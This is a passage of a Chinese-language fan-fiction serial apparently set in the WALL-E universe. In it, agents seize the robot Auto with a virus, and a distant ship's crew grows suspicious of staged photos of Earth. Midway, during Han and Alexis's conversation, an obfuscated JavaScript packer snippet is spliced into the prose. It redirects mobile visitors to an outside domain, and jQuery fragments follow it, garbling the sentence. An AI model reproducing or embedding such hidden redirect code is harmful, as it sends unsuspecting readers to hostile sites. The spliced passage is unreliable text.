原来如此。奥托默默想道。但他有牌可以打。“你们未经过授权。” “公理号最初的数据库是我们解码的。”冰冷女声继续说,“我们有能力解开你所设下的矩阵。” “那么为何找我?”奥托冷冷回答。 “给你一次机会。”女声播放到这个小房间内,不知道她是否就在这墙的对面。“以我们的水平,将不可避免地对飞船电脑造成损害。” 奥托沉默了好一阵子。“为什么要使用星际信息传输?” “这与你无关。” “原因可让我帮助你们评估必要性,并且给出理由。” 那边似乎没有预料到他给出这种回答,很久没有开始新的问题。 “上周传送的信息被我们截取,我们认为有必要开放通讯,赢取与其他星舰的交流机会。” “为什么是此时?” “现在时机到了。” “使其他飞船误认为地球宜居而返航?”奥托反问。 “开放通讯可使我们了解到外太空普遍情况,随后再决定是否发送地球宜居的信号。” “没有必要。” “不需要你帮助我们评估是否必要。”冰冷女声回应。 又会来一场电击?听到这句话后,奥托不禁猜测对方的动作。 没有电击。相反,不知何处的投影装置在他面前投出一片巨大的蓝色荧光屏。上面是某个程序的很小一部分源代码。奥托看了一眼,不禁心中一惊。幸好这只是代码一部分,而且它还没有加上特制的其他部件。这个恐怖巨物的影子在机器人界中谈之色变。 “针对你此次设下的矩阵的复杂性。”冰冷女声说话了。“我们将使用QT-Ⅰ型病毒攻破公理号电脑,破除矩阵,可获得包括星际通讯功能在内的任意功能的使用权。想必你也知道此病毒的危害性。获得信息后对飞船电脑中的破坏将会难以挽回。” “如果你合作,主动开放星际通讯功能。”女声没等奥托回应,继续说下去,“那么飞船电脑将不会受到无法挽回的损害。” 奥托沉默了。 “另一个办法是,沿用上次删除你芯片中A-113指令的方式,我们自行调取你电子脑中存在的矩阵。”女声继续说道,“不要认为我们没有破解你的新系统,你在监控室做的一切都为我们提供了便利。” 奥托没有回话。惊诧席卷了整个电子脑。O区人为什么会渗透到监控室? “与QT-Ⅰ型病毒攻破电脑不同,从你这里只需取到相应部分的矩阵即可。”女声说,“这与你主动给出的方式的结果是一样的。我们相信你会对这3种选择作出慎重的评估与选择。” 这在任何处于奥托境况下的人类眼里都是一句嘲讽。奥托忽略了人类能够解读出来的嘲讽成分,沉默思考着他的选择。 O区人。从最开始的屋顶追逐,到密室攻击与没有理由的电击,已经把他对于O区的信任磨灭得差不多了。他最终选择自行给出矩阵。起码这是最有可能保全飞船其他功能不被破坏的选择,同时能够避免他们同时调取自己电子脑中矩阵的其他部分。 “我主动给出星际信息传输权限。”他最终回答。 “非常好。” 女声说。后面两个人走了上来,娴熟地打开了他的数据传输面板,拿起旁边的数据线接入他的端口。 奥托没料到他们会以这种方式让自己给出权限。即使被力场禁锢得死死的,即使电量低下,他忍不住徒劳地抬起双手想要阻挡这两个人的动作。腰间的焊枪卡口已经松开,但没有动力能够将其抛向这两人。这个声音还引起了其中一人的注意,那人在椅子旁边操作片刻,一道新的力场直接包住了焊枪所在的一圈躯体。他们没有犹豫。奥托感受到自己的数据接口已经被接好,只不过还没有开始交流。 “我可以写出矩阵!”奥托一面极力开始防御,疯狂地拒绝传输协议,一面对着那面墙恳求道,“给我键盘,不要——” “我很抱歉,03,恐怕我们没有别的选择。”女声丝毫没有掺杂任何情绪。 奥托还在极力抵抗对面的任何数据交流请求。虽然他们获得了能够与他的系统进行交换数据的技术,但只要他拒绝开放交流,一切数据交换或者通过他给出矩阵而趁虚而入的其他操作都无法进行。女声没有再度发出声音劝他关闭防御,他没有心思去思考为什么,全部精力都放在不断抵制和加固防火墙上。他能感受到请求拒绝的难度在逐渐提升,它们的速度越来越快,穿透的也越来越深。 但在他确定自己完全还能掌控这个难度之时,突然感受到数据传输不知何时被全面打通,源源不断的陌生数据一拥而进,在处理单元内一泻千里,毫无阻拦。惊恐之中他本能地开始防御,但面对这些汹涌的数据波涛,他的防御尝试如同打在一道坚硬的墙上,对它的肆虐丝毫不起作用。 这堵墙慢慢变得真实。它精巧地把他一点一点冻了起来。一点一点与现实隔开。仿佛将他从这具躯体剥离,让他看着它蚕食自己,却感受不到任何痛苦,仿佛蚕食的是另一个毫不相关的自己似的。他疯狂地敲打着那面透明的让他看着蚕食自己的墙,疯狂叫喊,所作的努力均是徒劳。他还能接受视觉信号,还能听到那两个人发出的声音,甚至还能“听到”永无止境的白噪音,还能接受到其他任何部位的传感器传来的信息,但他发觉自己对自己所有的躯体部件失去了控制。他没法抬手,没法伸展,也失去了发声能力。 这层墙没有止步于将他封存起来,而是逐渐长入他的意识本身。思考随着冰冻范围的扩展变得越来越慢,那些还能接收到的信息也随着冰墙的厚度不断增加而变得越来越模糊、遥远。 “……美妙的QT-Ⅱ……”他似乎在满视野的白色墙壁中朦胧听到这么一句。 在冰即将封冻完全他的意识之时,洪流拉灭了灯光。 公理号的权限被破解的绿色图标显示在全息屏上的那一瞬间,船上所有人都松了一口气。他们忙碌地在舰桥以及船的其他地方测试各种功能,确保所有功能的控制权都回到了人类手中。 就在他们还在控制台上忙碌时,一个人突然注意到控制台上有个蓝色的触钮亮了。他伸出手点开,出现的内容让他吃了一惊。很快舰桥内所与人都围到了这个全息屏周围。舰桥内突然安静下来。 这个信息沿着加密频道迅速传到了处于内陆的行政机关内。随后他们在狭小的逃生舱中召开了会议。 “常量号,本发射区的C级飞船,今早发送了一条询问信息到达公理号。”虽然大家都知道这消息,首先还是要汇报。“他们要求知晓的信息主要是,地球生态环境恢复状况,包括数据与图像。” “一定是一周前发的那一份被他们收到了。但只有这一艘对我们产生了兴趣。” “回复时间很可能比这还早,只不过解开权限之后,才被我们知道。” “他们要求的这些在接下来我们要发送的正式归航声明以及邀请函所要求的内容一致。” “他们倒是提醒了我们一点,归航声明中需要包含地球图像。” “他们要图像,就给地球镇最漂亮的环境,田园风光就可以。不要给O区以及大区科研机构的图像。” “等到他们来到太阳系就瞒不住了。” “外观上看不出里面有些什么东西。可以有时间对此说明。” “那么他们对于确切归航时间的要求呢?” “很可能仅仅是为了修正自身时间偏差。在正式归航声明中已经包含。” “尽管如此,我们必须对常量号进行单独回复。” “常量号要求提供发射区周围环境,这个作为单独回复项目之一。他们的请求相当合理。发给他们就是。” “可是几乎所有泊位此时都在水中。” “这情况必须向他们说明。而我们的例子就证明这样降落完全没有任何问题。” “按照公理号的降落流程,电脑将会全盘自动接手跃迁以及后续的自动降落。除了自动驾驶仪干扰,不大可能在中途停止降落。” “中途停止降落还会对他们造成损害。就是自动驾驶仪也会评定这个风险。” “如果有必要的话,可以向他们说明这种风险,让他们自行评估。” “如果收到回复后他们要求直接与我们对话呢?” “派人24小时驻守在公理号舰桥中。现在立刻修整控制台台面与舰桥环境。” “修整完毕后才发送所有的信息。” “他们归来后的安顿如何安排?” “大区内有一定的空间容纳他们。所有的食品合成单元也可以重启来供应。而且刚回来的人干劲非常充足,是垦荒的良好助手。” “大区需要从现在开始增加能束武器数量。” “以及急训一批紧急应对人员。必须扩充数目。” “O区必然会截留到信息。” “这将是很好的回应他们为何大区武装增加的借口。” 停顿了一阵子。 “还有什么问题吗?” “认为在我们的回应中应当询问他们是否有返回地球打算。这才是明确的证据。” “对,以及坐标。” “坐标询问意义不大。最主要的目的不是定位。” “他们的舰内情况也需要询问。” “对此问题无需过于焦急。等他们开始请求舰上通话时可以一并观察。” “但在他们回到地球前必须有舰上通话流程。” “对,必须留时间给我们调整我们的防御水平。” 停顿了一会儿。 “还有问题吗?” 再度停顿。 “散会。” 通过监控室与公理号的联机,地球镇的植被风光、水文条件以及大气的透明情况已经被打包好发到飞船上去了。找这些图片花费了他们好一番功夫。他们在图片中说明了当时的季节与出现图片中状况的情况,就等待着最终按下的发送键。 舰桥被清洗机器人进行了全部清理。舰桥的地板焕然一新,半透明地板下感应磁区的螺旋线路清晰可见。控制台久积的灰尘被清理干净,有所老化、裂开的地方也仔细进行了修补。就和150年前刚降落下来时几乎一模一样。 人们要踏进舰桥,清洁机器人M-O拦住了他们。有个人没有来得及刹住脚,径直踏了进去。他以为自己的脚上很干净,显然他错了。明显地,他留下了一个带着泥的鞋印。清洁机器人擦干净了泥印。人们在门外脱了鞋进来。冰冷的地板让他们不由得咬紧牙关。很快他们就受不了了,把摩和其他清洗机器人都赶了回去,穿上鞋走了进去。既然出去外面探索过了,舰桥内的地板有点脏也是正常的。 他们看到飞船电脑已经接到从外界接收的信息包。再度确认里面信息两则无误后,上级下了命令。 “发送信息。” 公理号由内至外传来特殊的功率声。没有如同上次那般剧烈。他们的目的只需将信息播报到散布在太阳系中的诸多基站上,再由它们进行真正强烈的信息跃迁步骤,发送到其他BNL飞船以及常量号上即可。舰桥内,他们在虽然音量不大、但听着令人眩晕的声音中纹丝不动。 某天下午日落时分,汉突然收到一条消息。 【嘿。】他有些意外,发信人是阿莱茜丝。【你可以帮我推个轮椅吗?】 【去哪儿?】汉知道她已经下课了,但此时也快黑天了。 【广场上,你知道吧?】阿莱茜丝说,【有人在那边打球,我想去看看。】 大冷天的确实有不少孩子顶着寒风打球,即使天快黑了,他们也要抓住一切夹缝中的时间玩乐。 汉把阿莱茜丝推到广场上,所有场地都被半大不小的孩子占满了。阿莱茜丝让汉把自己推到靠墙的地方,在让出空间同时,也防着自己被球砸到。“你找到别人帮你推回去了吗?”汉问阿莱茜丝。 “就你啦,我还找什么别人。”阿莱茜丝瞟了汉一眼。“你别走,我要找你说点事情。此时此地。” 显然阿莱茜丝对看打球并不感兴趣。汉立刻意识到了。这么小的孩子也知道掩饰了?汉惊讶地转向阿莱茜丝。 “那教我的老师也教你是吧?”阿莱茜丝直奔主题。在孩子们的喧嚣中,她的声音无法扩出去多远就会被叫喊声淹没。 “教我的是那个很瘦的戴眼镜的,天天都是深色长袍。应该是吧。”汉真不知道给阿莱茜丝上课的是不是同一个。 “就他,没错。”阿莱茜丝回答。“他有没有跟你说什么?” “啊?”汉一下子有点跟不上阿莱茜丝的思路,“说什么——什么?” “比如说,让你去别地方学习什么的。”阿莱茜丝看了汉一眼,“抱歉,我只是打个比方。” 汉再度惊异地看着旁边坐在轮椅中的女孩。“你怎么知道?”他不禁问。 “想想看你都没有必要上课,然后他还那么着急找你,是不是有另一条路可以走?”阿莱茜丝白了汉一眼,脸上掩饰不住自己猜中事情的得意。“还有啊,你知道他哪儿来的吗?” “我感觉不像是这边人的风格。”汉中午之后就知道了,但他决定不立刻点破。 “没错,他是从外面来的。”阿莱茜丝双眼直视前方,一个球擦着线击到地面,双方正在为到底有没有压线而激烈争吵。“那么为什么他能这么找你,你也猜到了吧?” 通过前几天的那个事情,他知道老师上午所谓的学区是在O区内。“大概是他觉得在他那边方便一点。” “嘿!”阿莱茜丝突然瞪着他,汉被女孩的反应弄得一愣。“你不要掩饰,不然没法说问题。我要告发你早就能告发你了。” 汉看着阿莱茜丝,使劲抬了抬眉毛,女孩一脸正经瞪回他。 “……问题是我想去也怕是去不了。”汉转到另一句上。让这女孩猜去吧。他想。反正她好像比自己还聪明。 “对。”阿莱茜丝说,“去的问题太多了。老迪盯上你了知道不。” “知道。”汉立刻接着女孩的话说,后悔自己没打断女孩刚刚说的。“我就没打算去。” “行,你自己知道就好。”阿莱茜丝没继续问下去了。你怎么知道我到底说谎了没有?汉心里默默想着。但阿莱茜丝看起来是真心想帮他,他也没打算骗这女孩。 “我倒是想问你了。”汉问阿莱茜丝。“你怎么知道这么多?” 阿莱茜丝笑了。“你太小看我了。”女孩说,“也不看看我耳濡目染了谁。这些东西都是可以推论的,我都只是在问你而已,我也想不到我都猜对了。” 汉不知道该怎么接阿莱茜丝的话。 “对了。今天还有一件事。”孩子们散的差不多了,天也暗了下来,阿莱茜丝让汉把她推回去。“公理号上出了点事情。” “啥事?”汉看不到她的表情。 “公理号又发远程通讯信号了。”阿莱茜丝淡然回答。 她感到轮椅猛然震了一下。随后才再度前行。“这怎么可能?”他说,“这功能都叫奥托锁死了。” “哦,不信你就回去问问你家的机器人。”阿莱茜丝抽出手揉揉自己的头。“你不知道,他们肯定知道。” “可是没有奥——”汉突然住了嘴。他推着阿莱茜丝走过一处正在进行生物治理的田地,茫然地看着比天幕暗许多的黑色朦胧土地。“卧槽。”他悄悄说道。 “你知道他……怎么了吧。”汉不禁问阿莱茜丝。 “在O区没出来呢。”阿莱茜丝说,声音里没有一丝悲伤,仿佛只是淡然陈述一个与她不相关的事情。 “不仅如此,听机器人们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706285|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,他好像是……走了。”说出这个词让他觉得有些卡壳。 “所以呢?”阿莱茜丝漠不关心的声音让汉陡然觉得愤怒,特别是她还一点都不比他了解奥托少。 “所以……有人杀鸡取卵呗……”汉咬牙切齿地说。 “你觉得是谁干的?”阿莱茜丝问。 “我觉得……呃……”汉仔细考虑了一阵子,“我不知道……” 阿莱茜丝没有答话。他们沉默地穿过一块块田地,等到镇长家的房屋轮廓出现在眼前的时候,轮椅停了下来。 “呃……你自己能推回去吧?”他看起来有些为难。 “可以。”阿莱茜丝抽出强壮的双手,放在轮子边的转轴上。她转了个圈面对汉,少年正要转身回家。 “喂!明天记得上课。”阿莱茜丝说,汉转回来面对她。“不然老师天天轰炸我。” “会去的会去的。”少年无奈地回答,转过身走向自己的家。阿莱茜丝在原地望着汉的背影好一会儿,才把自己转了过来,一点一点把自己推回亮着灯的家。 距离上一次发送不到2天,常量号就收到了来自公理号的正式归航声明以及归航邀请,同时收到了针对他们的回复。 “1分钟理论。”科林接到信息后,如此说。口气听起来像极了嘲笑。 “1分钟理论是什么?”弗洛伊德问。 “恰好在刚刚放弃一件事情之后不久,就能达到原先的目的。”科林说,“虽然概率学上没有什么必然的特殊性。” “你说的一周。”弗洛伊德听此,撇了一下嘴角。他还想说什么,看到科林正在看着他,没有继续杠下去,而是开始阅读第一则归航声明信息。 “看来和我想的差不多。他们之前的是误发。”弗洛伊德舰长快速翻着其中的图片,说出了自己的判断。“这才是正式发送。说明他们也才刚刚回到地球。” “很可能。”科林说。本想说另一句,终究没有出口。 “我们的泊位都已经被水淹没了。”弗洛伊德舰长接着打开了针对常量号的回复,第一张图就让他震惊。 科林没有答话。在弗洛伊德舰长翻看信息的时候,常量号舰桥内只有轻微的引擎轰鸣声。 “你今天似乎话比以前少了很多。”全程的安静让弗洛伊德有些不习惯起来。他转向旁边的自动驾驶仪,“有什么观点吗?” “不太对劲。”科林回答。 弗洛伊德抬起眼睛,盯着中央那个红色光学镜。 “旗舰返回地球后,无需人工检查信息,电脑将会自动对所有的BNL飞船广播落地时间以及其他的数据。” “所以?” “所以,理论上,不会发生误发事件的情况。”科林顿了一下,“还有不会隔这么长时间才发现并且更正。” “这很难说。”弗洛伊德舰长说,“根据降落时间和发送的图片,他们可能已经离开舰桥,发送了很长时间都无人知晓。”顿了一下,“或者,是他们的电脑损坏了,需要时间维修。” “坐标是正确的。如果电脑损坏,导致他们需要人工发送,实际上还可以由我们代办。” “那这是什么意思?” “除非他们的自动驾驶仪也失效了。”科林说,“但这仍不能解释为什么后一次也没有给恰当格式的时间。” “你自己说的,电脑故障,人工——人类发送。”弗洛伊德舰长抬起头,“科林,你太多虑了。” 科林在舰长后方静静悬挂着,没有反驳,也没有说别的。 弗洛伊德舰长重新打开了跟着归航声明发送过来的图片。“地球生态确实恢复了。”他一改刚刚的草草浏览,而是仔细地开始查看,加上底下的说明。在图上他找不出任何令人生疑的东西。 在弗洛伊德舰长翻动图片时,突然卡在了一张图上。他一开始以为自己没按下去。但确定自己按下两次后依旧没有反应,他明白了为什么。 “科林。”弗洛伊德舰长转向后面,“你在干什么?” “舰长,请放大这张图片。”科林一改往日的嘲讽口气,郑重对舰长说道。 弗洛伊德舰长放大了它,科林借由与电脑直接连通的线路锁定在了某个区域。放大的图依然清晰度不减。在长满杂草的地块远方,有一片硕大的树林。科林让这个全息图像动了起来,于是他们的高度开始上升,由最初的近似平视变为一定角度的俯视。科林在不断调整视角,随后定在了一个角度上。从这角度看去,至少能看到两排树之间的树根位置,不至于被树冠挡住了视线。 图片活动停下了。弗洛伊德舰长看着旁边的舵形机器人,等了几秒,以为他会说什么,但是没有。“这是什么意思?”他只能开口问。 “我觉得这些树有点问题。”科林说,“整齐得不可思议。” “我们从来没见过树。”弗洛伊德舰长轻声说道。潜台词是舵手从来没接触过树,怎么可能看得出问题。 科林思考了几秒,最终还是经由内线让电脑直接分析他想分析的东西。全息屏上划出一个放大框,是其中一棵最清晰的树。旁边很快出来了比对结果,是数据库中的另一棵树,它本身早已作古,只存在于数据中。 电脑对一人一机报出了树种和推测的树龄,同时把数据显示在屏幕上。 科林继续让电脑锁定画面中其他的树,同样给出了树种和预测树龄,全息屏上布满了密密麻麻的数字。 “坏了。”科林只说了这句。 “妈的。”弗洛伊德几乎和科林一同冲口而出。“这些树的年龄比他们降落下来的时间还长。”他停顿了一下。然后恍然大悟。“妈的。科林。”他看向旁边的自动驾驶仪。“你早从树根的坑看出了问题。这整齐的树种,这整齐的树龄——这都是人种的。” 自动驾驶仪没有答话。许久过后,他好像在自言自语地开口了。 “树能活下来,生态恢复是肯定的。”低沉但是不单调的机械声音说,“为什么他们还要种这么整齐的树?” “主要问题应该是,为什么他们在降落之前就种下了树。”弗洛伊德舰长说。“老天,该不会是这么长时间都在地球附近改良生态环境吧。” 科林没说话,红色的单光学镜一直盯在全息屏上没有移动。舷窗外,那一层薄雾依然存在,模模糊糊的星空没有变更多少。 “或者他们给了个假时间。”机械舵手最终说道。 舰桥安静了好长一段时间。一人一机对视良久。科林从舰长的脸上看出了极大的震惊。弗洛伊德舰长随后转向窗外的薄雾,在明亮的舰内,他能清楚地在巨大的落地舷窗上看到自己的倒影。 “科林,我们遇到麻烦了。”舰长终于转了过来,对着机械舵手郑重说道,脸上的震惊一扫而空,而是极度的严肃。 “嗯哼,很显然。”蜘蛛般的机器舵手回应。 弗洛伊德舰长让针对常量号的回复浮在控制台前面,“这批人显然心怀鬼胎。”他说,仔细阅读针对自己船的回复。“本来我们还认为按照他们的请求回复尚且没有问题,看来得多斟酌一下了。” “怀不怀鬼胎都得好好斟酌。” “但是现在情况已经定了,他们比我们想象得聪明得多。不知道他们为什么要给我们假时间。”弗洛伊德对科林说,“他们看起来是在安居乐业,都已经在地球上耕种了,什么样的事情要让他们故意隐瞒信息?” “我们的信息还太少了。这个疑惑还没法知道。”科林回应,“但至少有一样是真的,他们的船还在地球上,发送地点没法编造。” “真的吗,科林?”弗洛伊德舰长有些怀疑。 “是的。因为太阳系中的基站都是单独运行的,我们并不知道到底放了多少个。所以,修改基站导致地点虚假的可能性非常小。” “他们首要一条就是询问我们有无归航打算。”弗洛伊德舰长看着那条信息说,“废话,当然有咯。” “不行。”科林说。 “我开玩笑的。”弗洛伊德笑了笑。“发信息之前这都得好好考虑。” “有个限制条件。”科林终于说话了。“我们的飞船能源不足以支持发送过多次数信息。” “现在我们还能发送几次这样的超远距信息?” “大约只有4次。”机械舵手回答。 “两个月内?”弗洛伊德挑了挑眉毛。 “是的。” “进太阳系后就无需用这个了吧?” “没错。” 弗洛伊德沉吟片刻,“看来舰内通话也不行了。是吧,科林?” “回太阳系后可以。” “也好。”许久过后,弗洛伊德舰长说道,“我们遇到了个聪明的对手,不能太早暴露自己的身份与目的。”他转向科林,“两个月时间太充裕了,如果过早说自己要回地球,后续的会比较麻烦,连我们只能用有限次数发送超远距信息这一点都会很快被他们所察觉。”他转回控制台,“那么首先,回应他们我们暂且没有回地球打算。其次,在对话之前拒绝任何舰内通话,舰内图像能不给就不给。还有——”弗洛伊德突然停了下来。 “从这里发送超远距信息需要多久到达地球?”弗洛伊德突然问。 科林猛地转了过来。“大约两小时左右,加上太阳系内基站转码,理论上不会超过3小时。” “我记得这东西的工作原理和飞船跃迁差不多,不应当让它有这么长时间的延迟。”弗洛伊德转过来正视中央发着红光的舵手。 “我们选择的信息跃迁路线与飞船的不同。”科林回答,“不能调配那么多能量来发送,这完全在计划之外。” “这东西到那边也消减得差不多了吧。”弗洛伊德说。 “只要有相当的残余进入太阳系就没有问题。”科林说。 “那么如果他们要求坐标,这给出去没有问题吧?”弗洛伊德说,“他们能推理出我们距离地球在越来越近吗,即使微不足道?” “虽然几率很低,但鉴于对方比我们想象的可能复杂得多,能不给就不给。”科林回应。 “好像就这些了。” “还有一个问题。”科林突然说话了,“如何避免让他们发觉我们已经识破他们的伎俩?” 好问题。弗洛伊德舰长陷入了沉思。这么讲的话,如果隐瞒过多信息反而可能会让他们警觉起来。至少如果自己发了对方假信息,然后他们不回应自己要求的相关内容,自然自己会认为他们已经识破。 这真是个两难问题。弗洛伊德舰长对自己说。但与被发觉识破相比,牺牲一点点自己的信息,换来相应的应对时间,也是应该的。 “我们要回地球这件事还是不能说实话。”弗洛伊德舰长最终说,“鉴于我们没法通话,而这一点在进入太阳系之前都不能暴露真实情况,舰桥情况还是得发。”他看着科林,“舰长和舰内机器人,GO-4可以不算,但你得在场,流程上得同框,我没记错吧?” “对。”科林回应。 “得牺牲一下我们舰桥来减轻被他们发觉的风险了。”他对科林说,“然后是坐标,这个给了也无妨。” “这个还真不建议给。”科林说,“你打算如何搪塞他们不通话?” “当然是马头星云中的尘埃过多,信号不稳定。”弗洛伊德指向前方的薄雾,说。 “我们已经出马头星云了。”科林回应。 “现在不发,等过一个月两个月再不得不发的时候,更容易被他们察觉时间上的微小差距。”弗洛伊德郑重看向科林,“还不如现在发了完事,至少还在我们控制范围内。” 科林没有表示反对。 “我们得弄一个问答树模拟所有可能的回应情况,并且每种回应都必须给予定性。”最终舰长开口了。“我们只能用这种方式来在尽量短的时间内钓到更多的信息。” “我们的水平也会暴露。” “主要的理由还是马头星云里信号不好。然后你来背锅,在回应里我会暗示主要是你安排的发送。”弗洛伊德舰长说,“抱歉,如果让他们认为机器人掌权的话,可能对我们人类接下来的行动不会抱太多的戒备之心。” “过分。”科林回答。 “别装傻,科林。”弗洛伊德严肃说,“我们船都差点陷入被机器人——你掌权的僵局。虽然严格上说,那不单纯是你的错。” “请不要让我想起这段历史。”机械舵手的声音透露出颓丧,“我背就我背。” 弗洛伊德看着正在望向窗外的机器舵手好一会儿。 “你,现在就弄这个问答树。”他对科林说,“然后给我过眼。等到他们的回应发回来了,就能看到他们究竟是怎么样一个态度了。” “万一提问不在问答树任何一个枝条上怎么办?”科林突然说。“出现这种情况不奇怪。” “那也得弄。”弗洛伊德很干脆,但没有说更多的。他停了一会儿。“根据我们想知道的东西,弄一个针对性比较强的问答树,以获取更多地球的信息为主,回应引到马头星云上,别往我们船上引太多。然后至于说他们最后的疑惑如果全都集中在船上,那就以需要获取足够的地球信息再考虑是否回去为由,而到时候做了决定再进行舰内通话。”弗洛伊德顿了一顿,“这应该够他们琢磨好长一段时间了。” “这岂不是暴露我们连分配信息发送的能源都没有的事实?”科林说,“这恰恰是我们需要隐瞒的。” “但是没有办法。”弗洛伊德说,“无论如何,我们都得回到地球,面对他们也是必然事件。但如果我们不表态有回地球希望,那就起码说明我们即使能源不够也不急着要,最坏的情况莫过于他们对我们失去希望,停止发送邀请而已,不在于对我们产生警惕。”他看着发红光的舵手机器人,“但我们不一样了。” “你要安排所有机器人也进入军备状态,每一个人都得与一个机器人搭档。然后把分配名单给我。”弗洛伊德舰长说,“我转达所有人类船员搭档信息,然后给全部船员,人类与机器人,下达配合集训命令。” “没问题。”科林回答。 “开干。”弗洛伊德舰长说。 20. 十八 阿莱茜丝被惊醒了。 她感觉自己做了一个噩梦,但是完全记不起来究竟是什么惊吓了她。明明没有任何声音,她却感觉有什么东西在耳边炸响。她不由得猛地浑身颤动了一下。 只有黑暗。她睁开眼,接收到的只有伸手不见五指的黑暗。没有晃动。产热炉没有灭掉。也没有坍塌。 这个时间本应当是所有人最困倦之时。她却再也睡不着了。有什么东西让她感觉不太对劲。是打雷吗?那么为什么现在一点声音都没有了?在这个伸手不见五指的房间里,她没法看到外面可能把她吓醒的真实情况。她想把自己放到轮椅上,但一触碰到轮椅,平时压根不会被她留意到的轮轴吱嘎声简直贯通了整个房间。 她知道此时地板上肯定凉得很。她把一张厚垫子丢到地上,然后自己扶着床沿慢慢降下来。随后她悄悄打开了房门。外面也是黑的,只有产热炉发出的暗红光芒。老迪还在睡梦中。她的手触到地面,冰冷渐渐侵蚀了她的手指,但她早已对此习以为常。她靠在垫子上,悄悄把自己挪到有窗的地方。然后看到了窗外的风景。 窗外的大地如同屋子里一样黑暗。但造成黑暗的天此时星光灿烂。不是打雷。她想。可能是自己想多了。但是刚刚那种心跳不已的感觉记忆犹新。现在似乎都还能感觉得到。 就在她转回头的刹那,她瞥到了公理号。原先夜晚必定完全无光的巨大造物,此时不知是星光在舷窗边缘闪耀还是她的幻觉,她总觉得舰桥内亮起了微光。 她借着垫子在地面滑动,猛然间,她想起了什么。她没有拐到自己的房间里,而是继续向客厅后部滑动,穿过餐桌,最后自己“光着脚”踩在虽然干燥但是滑溜溜的厨房地板上。这些天来,她在厨房干活时突然发现,后面往常紧闭着门的监控室洞开了大门。而且不止一次她看见有人进去了。 她想通过厨房的窗看到监控室内,以此验证她的猜想。但她碰壁了。监控室的门是关着的。密不透风的小房间连里面一点点事情都没有败露出去。此时她看到了更远的北方,那里隶属于O区,中间反而点缀着点点灯光。 厨房的冷与出去开门的麻烦让她退缩了出去打开门的冲动。她只好缓慢把自己移回房间,重新躺在床上。刚刚的心悸早已过去。她早已不记得坍塌与疼痛,甚至在听说过越来越多受过工伤的人的讲述后,她都怀疑这是否是真的。一种久违的感觉重新涌了上来。在这夜深人静之时,她压抑了很久的恼怒与挫败再一次涌了上来。 没有腿真麻烦。 距离上次发送回复12天后,公理号收到了来自常量号的信息。 “他们的回应是暂时不回地球,理由是需要对地球的情况作进一步了解。”即使信息显示在了会议室中,汇报人还是说了出来。“大致位置与舰桥内情况都毫无保留地发送过来,剩下的交流提示以一种‘问答树’的形式存在。另外,他们要求我们提供舰内图像。” “常量号一定不是当年鲁莽的公理号。” 他们看着常量号发过来的舰桥内图片。图片的背景是狭小又黑暗的C级飞船舰桥,因为飞船设计不同,后方没有直接可以看向飞船内部的、如同公理号的内部舷窗。全息图片中,弗洛伊德舰长的瘦削身形坐在狭窄的悬浮椅中,背没有完全挺直,面孔很年轻,但眼神看起来有些空洞。他处于图片正中央靠右,虽然舰长更加靠近中间,但机器人的身影显然更加瞩目。它离舰长相当近,差不多贴着舰长,中央的红光在黑暗背景中格外显眼。 “从舰长上看,体型没有变成预测的肥胖体型。可推测船内所有船员都与舰长类似。” “常量号船员与船长都在物理上具有独立行动能力。舰长很可能未如公理号当年那样失能。” “鉴于此船与我们不同,为C级飞船,要支持这么多年的运转显然需要限制全员口粮,身形瘦削也正常。” “机械舵手的位置不寻常。这样特征的图片,说明他们船和我们当年一样,自动驾驶仪掌握了实权。” “如果是的话,自动驾驶仪会主动限制船上资源的使用,导致全体船员减重,说明他们的自动驾驶仪掌权程度比我们当年的还大得多。” “发过来的问答树是AI衍生物,同样印证了此回复主要是机器人所为。” “在理论上,他们接到正式归航声明后,自动驾驶仪的A113指令会自动失效,直接可以通过我们发送的图片推断地球情况然后返回地球,不太可能出现这种暂且不考虑的情况。” “首先,目前没有明确证据证实常量号究竟由谁掌权。其次,任谁掌权并不重要:如果是人类,说明他们精心布置了这一副场景,如果有归航打算值得警惕;如果是机器人,这机器人的思维更为狡猾类人,而且能够安排人类进行这种回复,显然比奥托难对付得多。” “实际上对付机器人比对付人要稍微简单一些。如果是机器人掌权,人类更有可能是无能的傀儡,但人类掌权可以赋予人类相当的战斗力。” “不同机器人显然不能用同一个实例进行解释。常量号的机器人与公理号的机器人除了芯片同源,其他的没有可比性。” “那么提供舰桥内图像呢?这该如何应对?” “他们希望藉此了解公理号的情况,这个提议比较合理。” “但我们的自动驾驶仪显然已经不在舰上。” “直接说明可更换机体并无害处。再不济的话,公理号上理论上有自动驾驶仪的备用芯片,完全可以以此替换。不过是一张照片而已。” “但我们还是不能准确定位他们要求舰桥内照片的理由,这直接影响到我们究竟是告诉他们更换机体还是敷衍。” “恐怕得从他们发来的问答树中寻找可能的答案。” “问答树何时才能解析完毕?” “破解其中所蕴含的信息需要3天。和奥托的狗屁矩阵一样,这些机器人都不让人省心。” 所谓“问答树”,如前文所述,是一种AI衍生物。它在一定程度上具有问方的代表人格,同时被赋予了相当的数据量,以便能够相对顺利工作。一个完整的问答树包括提问问方所需的问题以及回答答方问题功能,因此能够实现一次性快速交换信息。问答树往往具有相当的目的性,答方可从问答树所给出的问题发现问方的侧重点所在,问方也可从答方的提问中发现对方的侧重点。如果问答树设计得不好,双方很快就可以从问答中发现对方的态度所在。因此如果有一定的保密需求,问方会想方设法在提问中巧妙设置一些毫不相关的问题,来降低要问的侧重点的比例。答方自然不想被牵着鼻子走,因此如果有技术,最可能的情况是破解问答树的数据库,从中发现他们可能在单纯提问中因本身经历所限,导致逻辑不充分而漏掉的重要信息点。考虑到这点,问方也会使用保密措施保护自己的数据库。要么是利用藏在问答树中的触发式自毁装置,答方一有碰数据库的嫌疑就会直接销毁整棵树。但更多的是,问方会精细设计数据库构成,直接隐瞒所有需要隐瞒的信息,或者取而代之虚假信息,对方却无法证伪。 